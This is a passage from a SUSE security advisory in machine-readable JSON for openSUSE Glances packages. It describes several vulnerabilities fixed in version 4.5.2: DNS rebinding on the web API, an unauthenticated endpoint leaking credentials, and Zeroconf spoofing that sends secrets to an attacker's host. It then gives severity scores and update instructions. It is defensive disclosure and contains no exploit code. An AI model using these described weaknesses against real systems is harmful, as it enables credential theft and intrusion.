"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-32611",
"url": "https://www.suse.com/security/cve/CVE-2026-32611"
},
{
"category": "external",
"summary": "SUSE Bug 1259840 for CVE-2026-32611",
"url": "https://bugzilla.suse.com/1259840"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-24T00:00:00Z",
"details": "critical"
}
],
"title": "CVE-2026-32611"
},
{
"cve": "CVE-2026-32632",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-32632"
}
],
"notes": [
{
"category": "general",
"text": "Glances is an open-source system cross-platform monitoring tool. Glances recently added DNS rebinding protection for the MCP endpoint, but prior to version 4.5.2, the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist. As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin. This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target. Version 4.5.2 contains a patch for the issue.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-32632",
"url": "https://www.suse.com/security/cve/CVE-2026-32632"
},
{
"category": "external",
"summary": "SUSE Bug 1259839 for CVE-2026-32632",
"url": "https://bugzilla.suse.com/1259839"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-24T00:00:00Z",
"details": "moderate"
}
],
"title": "CVE-2026-32632"
},
{
"cve": "CVE-2026-32633",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-32633"
}
],
"notes": [
{
"category": "general",
"text": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret. If the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance. Version 4.5.2 fixes the issue.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-32633",
"url": "https://www.suse.com/security/cve/CVE-2026-32633"
},
{
"category": "external",
"summary": "SUSE Bug 1259838 for CVE-2026-32633",
"url": "https://bugzilla.suse.com/1259838"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-24T00:00:00Z",
"details": "critical"
}
],
"title": "CVE-2026-32633"
},
{
"cve": "CVE-2026-32634",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-32634"
}
],
"notes": [
{
"category": "general",
"text": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential. An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode. Version 4.5.2 fixes the issue.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-32634",
"url": "https://www.suse.com/security/cve/CVE-2026-32634"
},
{
"category": "external",
"summary": "SUSE Bug 1259837 for CVE-2026-32634",
"url": "https://bugzilla.suse.com/1259837"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-24T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-32634"
}
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.